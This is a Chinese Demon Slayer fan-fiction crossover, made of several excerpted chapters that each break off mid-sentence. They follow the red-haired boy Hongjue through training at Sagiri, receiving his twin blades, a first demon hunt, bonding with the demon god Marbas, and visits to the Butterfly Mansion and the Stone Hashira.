“喂!红诀!”姗姗来迟的沼田挤过人群,向红诀这边靠过来,刚刚他被拉到一边量尺寸了,回过神来就已经和红诀他们隔了一段距离。好不容易挤过来,沼田气都没喘匀,就抬手揽过红诀的肩膀。 “红诀,你跟我回家吧。” 沼田鸣迫不及待地向红诀发出邀请,红诀帮了他这么多,他要邀请他回家,好好请他吃一顿! “那真是太遗憾了,沼田。红诀要和我们回狭雾山了。”锖兔笑嘻嘻地说,取笑沼田的来晚一步,“我让隐把红诀的地址登记在狭雾山,所以红诀要和我们回去了。” “可恶!居然晚来一步!” “嗯嗯。”红诀在一旁点头如捣蒜。锖兔和他说,回狭雾山还能请教他和义勇的老师鳞泷左近次呼吸法,在多次战斗中,红诀就对这类呼吸法很感兴趣。能学力量和顺利加入鬼杀队,红诀很满意。 鬼杀队内一共十个阶级,分别为甲、乙、丙、丁、戊、己、庚、辛、壬、癸。刚刚通过最终选拔的他们,是等级最低的癸,需要通过完成灭鬼任务才能提升等级,直至通过肯定成为柱。 量完尺寸,锻造日轮刀的钢材也准备完毕,众人纷纷上前挑选钢材。红诀分辨不出什么好坏,他随意从边缘挑选了一块,不像锖兔他们在那里精挑细选。 拿完钢材的他跑到隐那里登记,意料之外的是,为他登记的隐还是那个刚刚为他量尺寸的隐。 两人一碰面,又一次碰到红诀的隐奇异地多看了红诀两眼,倒没想到红诀挑选得这么快,是第一个跑到这里登记的。 想到红诀无家无亲人的情况,负责的隐多提点了一句,“你有好好挑一块吗?” “我看不懂,这块就很好。”耿直的红诀很相信自己的直觉,挑了肉眼可及最大的一块,也是最亮的一个。他拿走的时候,周围的剑士都盯着他手里的钢材,眼里都有几分奇异。 所以肯定是好的钢材。 “随你了,对武器有什么要求吗?” “不想要刀。”红诀习惯近身搏斗,这几天来,他都是通过打晕恶鬼再用日轮刀进行斩首,而不是直接斩击,窄小的刀刃与他的战斗习惯不合,他更喜欢直接解放双手,手脚并行的攻击方式。 虽说 6. 少年与试炼 《红诀[鬼灭]》全本免费阅读 狭雾山,是前任水柱鳞泷左近次的隐居之地,也是其培育剑士的训练之所。 天光微亮,日光照耀下,狭雾山的雾气开始消散,山脚下农户开始早起,出去耕作。 靠近狭雾山山脚处,一间简朴的木屋旁,一位戴着红色天狗面具,身穿蓝色白祥云衣服的老人正在院前清扫。只不过老人动作有点心不在焉,面具下的目光总是停留在通往村子的那条大道上,像是在等待着什么。 但等他已经打扫完整个院子,那条大道上依旧没有人影出现。老人举着扫帚干站在院中,挺直的背慢慢佝偻下来,良久,他像是想通了什么,转身准备回到屋内。 “老师!” 一声若隐若现的呼唤从大道传来,老人动作一顿,他有点不可置信地回头看向那条泥泞的山路,有点踌躇地朝那个方向走了两步。 “老师!鳞泷左近次先生!” 不是幻听,那道呼唤越来清晰,响亮的声音后面还有一声较弱的呼唤。伴随着愈近的声音,山路上也出现三个身影,走在正前方的,正是从最终选拔归来的锖兔和富冈义勇。 看清人影的那一刻,老人有些激动地丢掉手里的扫帚,朝着那两道身影奔去。向来以男子汉著称的锖兔也免不了孩子心性,拉着内敛的富冈义勇与鳞泷左近次抱在一起。 晨光之下,三人拥抱在一起,轻微的风声抚过,带动树叶与鸟鸣共舞,像是在庆祝这一次重逢。 弟子们的平安归来让鳞泷左近次抑制不住总是板着的脸,他不住地摸着锖兔他们的头,沉重地说,“你们平安地回来了,真的太好了。” “鳞泷先生,我们平安回来了!” “老师,我们回来了!” 看着三人抱在一团,站在后面的红诀似乎也想起了什么,自己抬手摸了摸自己的头,恍惚间也听见一道温柔的声音在他身侧说着,做得很好了,红诀。 啊,奶奶,红诀今天也做得很好了。 久违的叙旧持续不长,逐渐平复心情的三人开始介绍站在后面的红诀,这还是红诀流浪后第一次到他人家里做客,局促的他腼腆地向鳞泷左近次介绍自己,看似死板却很温柔的老人也友善地邀请红诀进到屋内。 看着浑身狼狈的三人,鳞泷左近次很有决策力地让他们先去洗澡,他来安排伙食让他们饱餐一顿。饿了很久的三人不由欢呼,迫不及待地跑去洗澡。 洗过热腾腾的热水澡,锖兔三人终于吃到热腾腾的食物,富冈义勇也开心地吃着自己最喜欢的萝卜鲑鱼。 在吃饭间隙,锖兔也向鳞泷左近次说明红诀的情况,请求他教导红诀呼吸法。对于通过了最终选拔却没学呼吸法的红诀,鳞泷左近次也很吃惊,循着话头才了解到这届最终选拔结果竟是惊人的全员幸存。 鳞泷左近次感到欣慰:“看来这一届的实力很不错。” “呼吸法,其实就是通过独特的呼吸方法,使自己的肺部充盈更多的氧气,从而在短时间内充分激活自身潜能,达到身体素质更进一步的手段。”鳞泷左近次解释道,“首先还是先要明白自身的极限所在。” “明天,你可以到狭雾山上去试试,我会为你调整机关数量,看看你的极限在那里。” “我知道了!谢谢您。”嘴里还含着食物的红诀礼貌地回应,对于鳞泷左近次的安排非常乐意。 还在埋头苦吃的锖兔和富冈义勇对视一眼,充分了解红诀怪物般体质的他们想起自己曾经历过的狭雾山训练,有点为自己的老师担忧。红诀那家伙,身体能力就跟鬼一样,除却仍会受伤,不能自愈外,一般的鬼根本奈何不了他。 想到这,他们不由得小声嘀咕,看来明天老师要大吃一惊了,突然有点幸灾乐祸了。 而一旁的鳞泷左近次也注意到不安分的锖兔两人,朗声道:“你们两个也一起!” “让我看看你们两个在最终选拔都学到些什么,明天的难度将是你们从未见到的!” 没想到也被顺带的两人抗议:“更强的难度!老师,我们可以多休息一天吗?” 鳞泷左近次不理会弟子的抗议,对于懒惰的行为他一向零容忍:“没得商量,让我看看你们的实力,锖兔,义勇。” 熟悉的威胁压力再次袭来,锖兔和富冈义勇一激灵坐着身子,大声应道,“好的!老师!” 次日,吃饱喝足,休息充分的三人被拉到狭雾山上。 狭雾山是一片连绵的丘陵,因其地处偏狭,雾气弥漫而闻名。 鳞泷左近次在山上设置了大规模的各式陷阱,针对人的反应能力、应对能力以及体力而设置,在红诀他们呼呼大睡的时候,他就已经对山上的陷阱进行了升级,机关、陷阱的个数,复杂程度都不同以往。 “我会在家里等你们,谁最先回来,我会给他准备奖励。让我看看你们的本事吧。” 随着鳞泷左近次的一声令下,三人齐齐进山。 奔在最前面的是红诀,出色的肌肉密度,让他在山间如履平地,随后是锖兔和富冈义勇。 看着红诀跑在最前面,两人也没有奋力直追,对狭雾山的熟悉程度这方面,红诀比不得他们两个,上山的途经也不止一条,锖兔两人一左一右消失在树林中。 发现好友的消失,红诀愣了一下,但没等他发呆,各式的陷阱已经接踵而来。 突然塌陷的地面,左右袭来的飞刀,正前方来势汹汹滚来的木桩,眨眼间,红诀就被包围。 但出色的身体反应和多年的狩猎经验被唤醒,身体速度已经快于红诀思考的速度,一个踏地,红诀高高跃起,一个猛烈的踢击粉碎了前方的木桩,也规避了两面的飞刀。 捡起地面上失去控制的飞刀,红诀开始觉得好玩起来了。红发少年兴奋地将飞刀藏在身后,继续往前跑去。 越往上越稀薄的空气,陡峭的峭壁,多样的陷阱,鳞泷左近次设置的关卡对红诀并没有明显作用。 红发少年遇招拆招,强悍的身体能力使其能在空中强行转向,甚至粉碎巨石。造成的动静使整座山的飞鸟都被惊飞,暗中观察的鳞泷左近次也吃惊不已。 鳞泷左近次并没有在山脚等待红诀他们,他潜行在山野间,默默观察红诀三人的动作。锖兔和富冈义勇的反应能力都有上升,但锖兔的体力比富冈义勇更胜一筹,在通向终点的道路上,锖兔排在第二。 而红诀则是以野兽般的狂野和出色的躲避能力排在第一位。暗中观察的鳞泷左近次看着红诀出色的身体天赋,这是常人所难匹及的,他所遇到的强者中也没有这般的身体能力。 犹如恶鬼一般,也只有下弦等级的鬼才能和红诀有一战之力。何况红诀才12岁,比锖兔他们都小。 未来可期,他的潜力将不可估量,狭雾山的陷阱困不住他,他是个天生的武者。 鳞泷左近次悄无声息地下山,他已经知道了结果,他教不了红诀。 在身体控制能力方面,他已经位于 7. 少年与日轮刀 《红诀[鬼灭]》全本免费阅读 红诀吹葫芦的办法是鬼杀队对于训练全集中呼吸的手段,通过吹爆特制的葫芦可以训练肺部的呼吸能力。对红诀来说,这比在狭雾山上更能训练自己,就是有点费葫芦。 在接下来等待鬼杀队分配的武器到来的日子里,红诀三人开始了常规的训练日常,主要是早晨三人排排坐吹葫芦,中午三人轮流比试。 但七日以来,红诀以完胜的战绩排在第一,锖兔排在第二,义勇排在最后。偶尔,鳞泷左近次也会下场,如果算上鳞泷左近次的战绩,义勇就要排到第四了。 又一次被红诀撂倒在地上,锖兔无奈地在地上躺平了,一旁搬了个凳子的义勇娴熟地将手里的水递给坐在他边上的红诀。 直接坐在地上的红诀背对着义勇,红色的卷发像毛茸茸的蒲公英一样,半湿的碎发黏在脖颈处,白皙的后颈上,一个圆形印记若隐若现。 义勇好奇地指了指红诀的后颈:“红诀,你脖子后的是胎记吗?” “对哦,那是胎记吗?”从地上爬起来的锖兔也跟着问,他们好奇很久了,这些天他们三个也会一起去河里洗澡,那个圆形印记还很明显。 “胎记?”圆形印记在红诀的视野盲区,他抬手摸向脑后,他印象中自己并没有胎记的。 “就是这个样子的。”锖兔随手捡了个树枝,在地上对着胎记画—— 粗粝的沙土上,一个八芒星阵法正被锖兔一笔一划地描绘起来。 “有点熟悉。但有点想不起来了。”红诀蹲在地上看着八芒星阵法,熟悉的感觉油然而生,究竟实在哪里看过这个印记呢。 “看着有点诡异。” “没错。” 与在地上描绘的印记不同,红诀皮肤上的印记要更复杂些,外侧的圆环处还有些文字,但锖兔和义勇都认不出来。 他们先前都没注意,之前的这个印记有这么清晰吗? 三人围在地上研究了一下,还是没发现什么。红诀的身体也没什么变化,后续也不了了之。 这几天内,在红诀待在家的时候,鳞泷左近次和锖兔他们三人也时常到山上去,去祭拜以往牺牲在手鬼手里的师兄师姐们。在得知手鬼的存在后,鳞泷左近次消沉了几日,后又恢复平日的严厉。 对于呼吸法,鳞泷也向红诀详细地介绍了现今的呼吸流派。 呼吸法最基础的呼吸流派,是岩之呼吸、水之呼吸、炎之呼吸、风之呼吸、雷之呼吸这五类。 但几百年间,也有不同的剑士根据自身的能力特点从基础呼吸之中衍生出适合自己的呼吸法。据说刚晋升为柱的音柱,所使用的音之呼吸就是雷之呼吸的衍生。 可以说,呼吸法的修习并不是死板的,除去从基础呼吸法中衍生出独特的呼吸法,也有不少剑士选择在传承中独创自己的招式。呼吸法说实在也只是基础,所衍生的招式都是每一代呼吸传承人的智慧,比如水之呼吸的十个型。 经过这几天的吹葫芦,红诀也在冥冥之中触摸到全集中呼吸的方法,可以保持全集中呼吸·常中的状态,但对于水之呼吸招式的学习,红诀和水之呼吸很不匹配。 水之呼吸的招式讲究持续,刚柔并济。而红诀的战斗方式是爆发,力与美的结合。 要习惯暴力突破的红诀一下子柔下来是很难的,鳞泷也只能建议他专注对于力量的精细控制,去追求这方面的极致。 同时,鳞泷也向如今修习岩之呼吸的岩柱写了一封介绍信,五种基础呼吸中,红诀或许与岩之呼吸的相性更高。 又过了几日,在红诀他们还在日常训练时,三位从远方的客人来访。那是来送红诀三人日轮刀的锻刀师,三人皆戴着不同的面具。被锖兔邀至屋内,三位锻刀师把属于红诀他们的刀展示给他们。 日轮刀根据主人不同刀身变成不同的颜色,故又称变色之刃。鳞泷左近次和锻刀师都很期待这个环节,不同颜色的刀身在锻刀师内部也有些不同的含义,像开盲盒一样。 锖兔率先抽出刀鞘,手上的刀身在其握住的瞬间变幻为深蓝色。 “嗯,是蓝色呢。”看到刀身变蓝,三位锻刀师和鳞泷齐齐点头,倒没有什么惊讶的,鳞泷更是见惯了,修习水之呼吸的剑士其刀身大多为蓝色,不过锖兔的颜色要比寻常的蓝色更深些。 “和修习水之呼吸的我很配!”锖兔对新得的武器爱不释手。 接下来轮到富冈义勇。义勇也有点紧张地抽出刀鞘,随着一声低鸣,刀身在眨眼间变成了水蓝色,比锖兔的颜色要浅很多,但也是蓝色。 义勇喃喃道:“啊,蓝色。” “蓝色也很好,颜色并不会影响刀具的使用。”或是发觉义勇的语气有点消极,负责他的锻刀师好声安慰。 只有了解义勇的锖兔和鳞泷才知道,义勇没有不开心,相反他开心得很。 接下来的就是红诀的日轮刀了。 负责红诀的锻刀师这才真正从背后解下包裹。从进门开始,红诀的日轮刀的外形就和锖兔他们不一样,两个较为短小的盒子被布裹在一起,神秘感十足,让锖兔他们都很好奇。 “小子,你擅长手脚搏斗对吧,好好看看哦!这就是我精心锻造的武器!” 锻刀师一下打开盒子,盒子里是两把T型的武器,有点像拐杖,不过棍身那变成锋利的刀身,把手也在刀背三分之一处,是一把十分锋 8. 少年与首次任务 《红诀[鬼灭]》全本免费阅读 稻荷神社下的福田村里,最近发生了一件怪事。 村里的小巷里,总是会传出奇怪的声音,一旦晚上步入小巷中,就会彻底消失在这个世界上。起初,只是一个晚归的农户失踪,大家都以为是个意外。 可半个多月以来,消失的人越来越多,村里的老人都叮嘱道,不要在夜里去到小巷里头,那里面有吃人的妖怪。 愈演愈烈的谣言,让村民都人心惶惶。 村长更是上山祈求稻荷神社的帮助,在巫女的仪式下,村里的几条小巷都被布下镇压的仪式,但失踪的人也不见减少。村民们都不敢在夜间出门,一到晚上,整个福田村的街道上都还是空荡荡的。 跟着鎹鸦引导的红诀,来到福田村时,看到的就是这样空无一人的街道。 “笨蛋!笨蛋!”能言人语的鎹鸦被红诀取名为阿黑,它已经快被红诀气死了,踩在红诀的头顶不断抓着他的头发。 而这一切都因为红诀的路痴,他看不懂地图,也不知道任务所在地在哪里。能走到福田村全靠阿黑的指引,说了一路的鎹鸦嗓子都快冒烟了,才顺利指引红诀到达任务地。 理亏的红诀也不生气阿黑在头顶上的行为,他讨好地解下腰间的水壶,给劳累的伙伴递上一捧清水。 红诀的第一个任务就是前往东南方的福田村寻找解决恶鬼,这个村子已经消失了近十个人了,隐的情报探知这里可能存在恶鬼,向鬼杀队员发布了任务。 空无一人的街道上,两侧的商铺也都已经熄灭了灯光,只剩红诀一人的脚步声。 一踏入村子,红发少年就在不断嗅闻,敏锐的感知里,这个村子确实村子恶鬼的气息。循着直觉,红诀一步步靠近角落里的巷口,巷口已经被设下拔除仪式,麻绳围在前方,禁止人入内。 漆黑的巷子寂静无声,往里看去,根本看不见尽头。红诀头顶的阿黑已经飞到半空,鎹鸦不参与战斗。 红发少年小心绕过麻绳,从背后抽出自己的双拐,一步步走近巷子中,就在少年声音消失在巷口的那一刻,巷口的空气无形地扭曲了一瞬,后又归为平静。 一踏进巷子,红诀第一感觉是森冷,像是步入了一个密闭空间,风声、水声都被隔绝在外。 周遭的一切像是在无声侵蚀误入者的五感,看不见、听不见也闻不到,往前一步是平地还是悬崖,这种不确定感在时刻拷打误入者的心灵。 显然,这处小巷已经变成鬼的领域,在此处空间内,恶鬼想通过泯灭人的五感使其丧失意志。 这就是鬼的血鬼术,也就是鳞泷所说的有魔法的异能之鬼。 身处其中的红诀敏锐地察觉了此处空间的诡异,还没等他适应,本该双手不见黑的黑暗之中,突然一阵微弱的光芒亮起。 红诀手中的双拐却是自行发光一样,在黑暗中金光闪闪,散发着柔和的光辉,甚至能照亮红诀周边半米左右的空间。发觉了这点的红诀神奇地举起双手,不住地左看右看闪闪发光的金色刃身。 锻刀师们真厉害,还能做出会发光的武器! 这微弱的光芒像是打破了此间的诡异,黑暗中,一道攻击突然奔着红诀而来。 与黑暗融为一体的攻击角度刁钻,目的明确,它想要击落红诀手中的双拐,让此间再次回归黑暗。但红诀的反应更为快速,他轻巧地转动手腕,刃身便格挡住无形的攻击。 一击未中,片刻后,黑暗中又袭来数道斩击,四面八方而来,犹如无形的牢笼,想要牢牢将红诀绞杀其中。 面对四面而来的攻击,红发少年一个跃起就突破了包围圈,跳跃高度之高甚至险些突破被桎梏的空间。 红诀双手持拐,在空中转变角度。再次跃起时,手里的双拐上下错开,借由腰身强悍的旋转力度,对头顶的黑暗发起猛烈的攻击,旋风般的旋击眨眼绞破眼前的黑暗。 “沙之呼吸,一之型,沙鸣。” 高速的旋转产生的旋击撕裂空气,发出尖锐且刺耳的响声,就像沙漠地带里鸣沙地的沙砾踩上去的响声,不过更偏向于噪声,更为刺耳。 这是红诀在观摩水之呼吸的十个型后,所借鉴出的第一个型。 水之呼吸·陆之型·扭转漩涡是通过旋转腰部来进行防御和斩击。红诀在尝试这招时,过强的身体素质使他能轻易发动高速的旋转,木刀在他手里高速切割空气,发出尖锐的响声,比起扭转漩涡的防御,沙鸣更倾向极致的攻击,强调高速的旋转攻击,更为凶猛和暴力。 尝试出这一型的红诀觉得声音很像自己在沙漠里听到的鸣沙声,故起名为鸣沙;至于沙之呼吸,红诀自小生活在干旱地带,沙砾与他一起成长,沙砾的暴力、温柔、无情和多样,他感受颇深。 像沙砾一样,渺小又强大,是红诀所向往的模样。 旋击轻松地将恶鬼的领域撕破一大口子,皎洁的月光洒到地面。这还是红诀控制力量后的结果。小巷的空间较小,力量过大会破坏两侧的房屋,红诀没钱,他毁坏了没法赔。 月光从被撕破的口子洒下,也照亮了躲在暗处一脸吃惊的恶鬼,灰白色头发的恶鬼张大嘴巴看着从高处再次袭来的红诀。卷发少年的双眼中一片漠然,仿佛在空中再次加速这样的能力对他而言如喝水一般。 太强了…… 还没反应过来,高处而来的交叉斩击就已经来到眼前,伴随着空气的轰鸣声,红诀利落地割断恶鬼的脖子。 恶鬼的头颅掉落,愕然的他在弥留之际看向背对着他的红发少年,少年肩上的刺绣被月光照亮,癸级字样狠狠刺痛了恶鬼的双眼。 “癸级!开什么玩笑……”他竟然被一个癸级队员给消灭了! 恶鬼的声音消失在灰烬之中,强烈的震惊和不甘却仍留在空气之中。 成功将自己的沙之呼吸运用在战斗中,红诀不由得回味刚才的手感,可惜他对于刀术并不精通,目前只研究出这一型。 这场战斗在还没开始就已经结束,快到空中盘旋的阿黑都没反应过来。 巷里的红诀还在小心翼翼地摸着两侧的墙壁,他心里松了一口气,没坏没坏,不用赔。临出发前把锖兔和义勇开玩笑的话当真的红诀真的很怕赔钱,贫困惯了的他负担不起债务。 还是得杀鬼,杀鬼赚钱,杀鬼强大,杀鬼好啊! 红诀心急:“阿黑阿黑,下一个任务是什么?” 阿黑:“下一个,下一个……” 鎹鸦奇异的嗓音卡带般重复,原谅还不适应的阿黑,它的任务清单还没有更新。 好在附近的隐来得及时,匆匆赶到的隐看着几乎没有变化的小巷,善后的工作突然不知道从那里做起,根本没有用武之地。 “癸级队员 9. 少年与魔神之力 《红诀[鬼灭]》全本免费阅读 善于发现真实的马尔巴士在世界缝隙前瞪大眼观察,蓝色的大脸费劲地凑在小小的缝隙上面。他突然发现只要他尝试加强与红诀的联系,那股规则之力就会加强对愿力的侵蚀,红诀身上那股平衡也会被打破。 考虑到未知的影响,马尔巴士只能停止对联系的加强。 好吧,小子。不是我不给你力量,是你身上那个规则之力不让。 停止对联系的加强,红诀身上的愿力也开始与规则之力争夺,直到慢慢趋向平衡。 [小子,你多喊我几声。] [马尔巴士,马尔巴士。]听话的红诀耐心地在心底里呼喊,同时一边跟着阿黑不断赶路。 [……看来是这么一回事。] 观察一阵的马尔巴士总算明白了,好家伙,就只能这小子呼唤他,他不能呼唤这小子是吧! 搞歧视是吧! 红诀身上的规则之力认可红诀这个个体的存在,但并不认可他体内魔神之力的存在。一旦红诀身上的魔神之力浓度引起规则之力注意,就会开始修正,侵蚀红诀的身体,而侵蚀的后果,远不及世界存在的红诀怕是会产生非常不好的负面影响。 [小子!你听着,首先恭喜你成功攻略迷宫,获得了我,马尔巴士的认可。]马尔巴士自豪地说,话毕他语气一变,[但遗憾的是,对于我寄生在你身上的力量,你使用是有限制的,一旦超过限制,将会对你身体造成不好的影响。] [简单来说,你去到了另一个世界,另一个世界排斥我,你要用我的力量就会被他打。] 被打…… 红诀完全想象不到自己被未知力量打的样子。 [但我的力量你还是能使用的,你身上有股保护你的力量,如果它的修复速度快于规则之力的侵蚀速度,那么就能大幅降低使用魔神之力的负面影响。] 魔神马尔巴士寄生在红诀身上的力量是逆转之力。 受规则的影响,马尔巴士只能将残缺的魔神之力给予到红诀,逆转之力只能限制于生命力量上的逆转,一般在治愈术中用来防止诅咒、疾病蔓延,更甚者,可用来逆转生机的消散。 简单地说,只要是属于生命力量,红诀就能操控其逆转其蔓延,说是辅助技也是攻击技,一切全靠使用者自己的摸索。 魔神力量是通过消耗宿主身上的魔力来使用的,而红诀所处的世界并没有魔力,这一判定被扭转为体力。 要想使用逆转之力的上限提高,关键是要看红诀身上那股愿力的修复速度,怎么提高修复速度,马尔巴士也没有办法。 [在这个世界,你就别想着眷属了,根本用不了的,所有的魔神之力只能通过你这一媒介。还有一点,在摸清修复和排斥上限之前,魔装和极大魔法就根本不要想,你会死的。] 一旦被规则之力完全修正,红诀这个个体就会被抹除,永远从世界之中消失。 死亡…… [我不会滥用魔法的。]曾经答应过奶奶好好活下去的红诀坚定地回答马尔巴士。 [嗯。你能听话就好。要知道我们现在是一体的,你要是死了我也会很麻烦的,尤其你在世界之外。]马尔巴士在缝隙前嘀嘀咕咕,眼前的缝隙已经越来越小,他的眼睛都快看不见了。 [好了,这个缝隙要没了。以后你想要我的力量,只能由你来呼唤我了,留存在你身上的力量你要熟练运用,不要忘了我哦!红诀小子。] 魔神的声音越来越小,在声音完全消失那一刻,红诀感觉到一股力量从后颈开始蔓延到全身,暖洋洋的力量在身体里面运转了一圈,又回到后颈的八芒星印记处,像是从来没出现过。 感受到力量的流转,红诀伸手摸向八芒星所在的位置,有些好奇地尝试触动力量的源头,敏锐的感知里,那股暖洋洋的力量开始从后颈处沿着血管开始向下游走,但没过多久,就缩回八芒星处。 不信邪的红诀再一次进行尝试,但力量最多只能到达手,根本不能流转全身,而且,红诀能感受到自己的体力在飞速流逝。 在红诀动用逆转之力的那一刻,无形的规则之力再次降临,与寄居在他身上的愿力开始再次交锋,愿力一步步被侵蚀,又快速地恢复再生,一步步争夺抵抗规则之力的产生,好在红诀及时收回逆转之力,让规则之力停止了侵蚀。 不到危急时刻,不能动用。 对身上的交锋毫不知情的红诀默默给自己下了限制,他现在并不迫切地得到这姗姗来迟的魔神之力,更主要的还是强大自身,杀鬼,赚钱,成为柱。 将魔神之力抛掷脑后的红诀飞速赶往北方,奔赴下一个任务点。 眨眼间三个月过去了,在这三个月间,红诀几乎包揽了东北部大部分低级任务,斩杀恶鬼的速度和完成任务的质量都超于常人,队员等级也在不断晋升。 红诀已经到了戊级别,锖兔和义勇要比红诀低一个级别,为己级别。经常和红诀通信的沼田鸣也晋升了,现在为壬级别。在最终选拔之后,红诀和沼田等人也时常联系,一起经历过生死,大家都很有感情。 沼田和中岛更像两个活宝,每次写信的开头都是,太好了,我还活着。 10. 少年与蝶屋 《红诀[鬼灭]》全本免费阅读 蝶屋,是一座藏于深山中的豪华宅邸。其实是鬼杀队用来安置受伤的剑士,为其提供疗愈和修养的场所。一开始的蝶屋并不叫蝶屋,而是因为最近两年,擅长医术的蝴蝶姐妹开始接管而闻名于鬼杀队内部,故名为蝶屋。 当红诀沿着山路靠近这座宅邸时,最先看见的便是宅邸周围飞舞的蝴蝶群。这里的空气弥漫着让人感到轻松的花香,深山的鸟鸣和清新的空气,寂静优美的环境,让红诀不由得深吸一口气。 红色卷发少年好奇地靠近飞舞的蝴蝶,常生活在沙漠地带的他很少看见蝴蝶,更何况还是这么多的蝴蝶群。发现蝴蝶并不怕他,还停留在他的肩头,红诀惊喜轻轻触碰它们的翅膀。 在外面和蝴蝶群玩闹了一会,红诀想起了自己来这里的目的,他沿着石板路向前,来到宅邸的入口处。 宅邸的门口大门并没有关,玄关直通屋内,在门口还能听到屋内说话的声音。 没等红诀敲门,从屋内走到玄关的少女发现了他。 “是受伤的剑士吗?” 少女的声音英气中不失温柔,鬼杀队服外罩着一件白袍,黑色的半长发扎成了利落的马尾,紫色的发尾搭在脑后,英气的紫色双眸此刻正看着红诀,目光上下打量,像是要找出红诀身上的伤处。 “没有受伤,来看望朋友。” 有些害羞的红诀连忙说起自己的来意,向少女介绍了自己,同时询问少女有没有看见肉色头发和深蓝色头发的少年。 听着红诀的描述,名叫蝴蝶忍的少女自然知道了他所说的是谁。 “原来你是锖兔和富冈的朋友。”蝴蝶忍说起他们两个语气中带着无奈,“锖兔的伤势已经好了差不多了,现在在做康复训练。富冈的话,还在床上躺着。” 说起来也是碰巧,锖兔前脚因为大腿上中了一刀被送进蝶屋,后脚义勇就因为失足摔落,肋骨骨折被抬了进来。好友一见面就在相邻的病床上,让他们哭笑不得。 “锖兔应该还在后面做着训练,富冈的话就在前面。” 蝴蝶忍边引着红诀边目不转睛地看着他。走在旁边的红色卷发少年皮肤白皙,干净俊秀的脸上没有其他的表情,看起来很是帅气冷静,但红色的眼眸却暴露少年的内心,单纯清澈的眼睛把少年的疑惑和紧张暴露无遗,属于根本藏不住自己的一类人。 被盯着看的红诀眼睛中带着不解和疑惑,不由得问:“我脸上有什么东西吗?” “没有,只是红诀先生很出名哦。”蝴蝶忍卖了个关子,“这就是富冈所在的病房了。” 没直接解答红诀的疑惑,蝴蝶忍拉开门。 眼前的病房不大,是六人间。不过此时,病房里面的气氛有点奇怪,六张病床里,有生活痕迹的只有三张,两张相邻着,富冈义勇正躺在靠门口的那一张,相邻的病床并没有人,应该是锖兔的床位。隔着三张病床,靠窗的位置,还有一个背对着富冈以及门口的白色刺猬头少年。 “不死川,你又和富冈吵架了吗?”蝴蝶忍看着眼前的情况,有些生气地说,“你们两个就不能消停点吗?” “没有吵架。”还躺在床上的义勇嘴硬地回答,他不认为不死川在和他吵架。 “混蛋富冈,你听听,他说的是什么话!”听到义勇的话,不死川气愤地想要转过来反驳。 这个富冈,就跟他完全说不了话,现在就是在吵架,他以为他们关系很好吗! 完全不好! 而据理力争的义勇想要坐起来,向蝴蝶忍再次说明。这时候,他发现了站在蝴蝶忍身后的红诀,惊喜道—— “红诀!你怎么来了,受伤了吗?” “义勇,没有受伤,我来看你和锖兔。”红诀乖乖地向义勇摆手,还转了个圈给他看完好无损的自己。 “他这家伙还有其他朋友?我还以为只有锖兔那小子才会眼瞎。” 不死川终于艰难地转过身来,他腰部受了伤,只能和义勇一样静躺着,不然也不会还一直和义勇待在一个屋子里头。暴躁直率的不死川和内敛天然的富冈义勇,一见面就不对头。 “我说了你们要静养。静养懂不懂!你们受伤的地方是肋骨和腰部,一直吵根本不利于伤口好转!”被不听话的病人气得不行的蝴蝶忍一下子把屋内的窗帘拉开,这两人一天到晚就是吵,总是一点就炸的不死川完全不顾腰部的伤口会不会撕裂,中气十足地和富冈吵架。 “你就是红诀!”总算反应过来的不死川也注意到站在门口的红色卷发少年叫红诀,费劲地盯了红诀几眼的不死川突然失望:“我还以为红色野兽是像岩柱那样高大威猛的剑士呢,怎么是个红发弱鸡,没意思。” 擅长点炮仗的义勇再次出击:“红诀不是弱鸡,不死川你打不过红诀的。” 再次被点着的不死川:“你这家伙说什么,信不信我现在就起来揍你!” “停!停!停!” 蝴蝶忍受不了地举高双手。 争吵声中,只有红诀弱弱开口:“红色野兽是什么?” 不死川惊讶红诀的不知情:“你不知道?” 红色野兽是近三个月通过隐成员在鬼杀队流传出来的传闻。传闻有个很强的剑士,每次执行任务都非常快速和凶狠,就像红色野兽一样,出没在夜间。往往隐赶到现场时 11. 少年与岩柱 《红诀[鬼灭]》全本免费阅读 闲聊了一会,蝴蝶忍便带着红诀前往后山。 在前往后山的路上,对岩柱好奇的红诀开始询问蝴蝶忍。 “岩柱大人是个什么样的人,很高大吗?” 蝴蝶忍想了想那位两米高的武僧,笑了笑承认:“悲鸣屿大人的话,红诀你再长高五十厘米就和悲鸣屿大人差不多了。” 悲鸣屿行冥,鬼杀队现役岩柱,为人坚毅,一副武僧打扮,两米高的身材让靠近他的人都感到一股压迫感;但一旦与他接触,都会真心地感受到,他是个很温柔的人。 “到了。” 不知不觉,红诀已经跟着蝴蝶忍来到后山,说是后山,其实就是一个小小的宅院,只不过院子通向山林,有很大一块空地。走近庭院,红诀远远就看到坐在檐下的两个人。 只见檐下,身材高大的男人双手合十,受伤的珠串盘绕在手间,身上的袈裟非常明显的指向,这位正默默念经的男人就是岩柱,悲鸣屿行冥。 坐在悲鸣屿行冥对面是一位和蝴蝶忍非常相似的少女,不过气质更为柔和,长长的头发披在腰间,两侧的蝴蝶发饰别在耳上,看到来人,少女温婉的面容浮起一抹微笑。 “阿拉,看来小忍带客人过来了。”开口的少女是蝴蝶忍的姐姐蝴蝶香奈惠,是一名乙级队员。 “姐姐。”听到蝴蝶香奈惠的呼唤,蝴蝶忍小跑上前,引得跟在一旁的红诀也加快脚步。 “悲鸣屿大人,这位便是红诀。”蝴蝶忍简言向坐着的两人介绍红诀,便依偎在姐姐香奈惠身边,与刚刚在病房内大展身手压制病人的少女天差地别。 “岩柱大人,你好。”红诀拘谨地向两人问好,不知该如何称呼香奈惠,他也只是微微向其点头。 “你就是红诀,鳞泷前辈信中所说的少年。”双手合十的悲鸣屿行冥抬起头看向红诀,红诀这才发现这位岩柱其实是个眼盲之人,但却能精准地知道红诀所在的位置。 眼盲的悲鸣屿行冥静静地盯着红诀,无神的双眼带着诡异的洞察力,让直觉灵敏的红诀有些不适,窥探感从上至下,但礼貌让他保持礼节,他强忍着不适的欲望打了个颤。 “你很强,□□的力量是我见过最为出色的队员。”良久,悲鸣屿行冥沉声道,不再盯着红诀。 悲鸣屿行冥具有心之眼,小时候因为高烧失去视觉后,敏锐的感知便成为他识人的眼睛,这点与自小流浪的红诀尤其类似。在心之眼的窥探下,掩藏与瘦弱体型下的庞大潜能也露出一角。 眼前的少年很强大,是个天赋惊人的剑士。 听到悲鸣屿行冥的盛赞,一旁的蝴蝶姐妹也将目光停留在红诀身上。 又多了两双眼睛,红色卷发少年更为局促。 “先坐下来喝口茶吧,时间充裕。”悲鸣屿行冥察觉红诀的局促,邀请其一起入座。 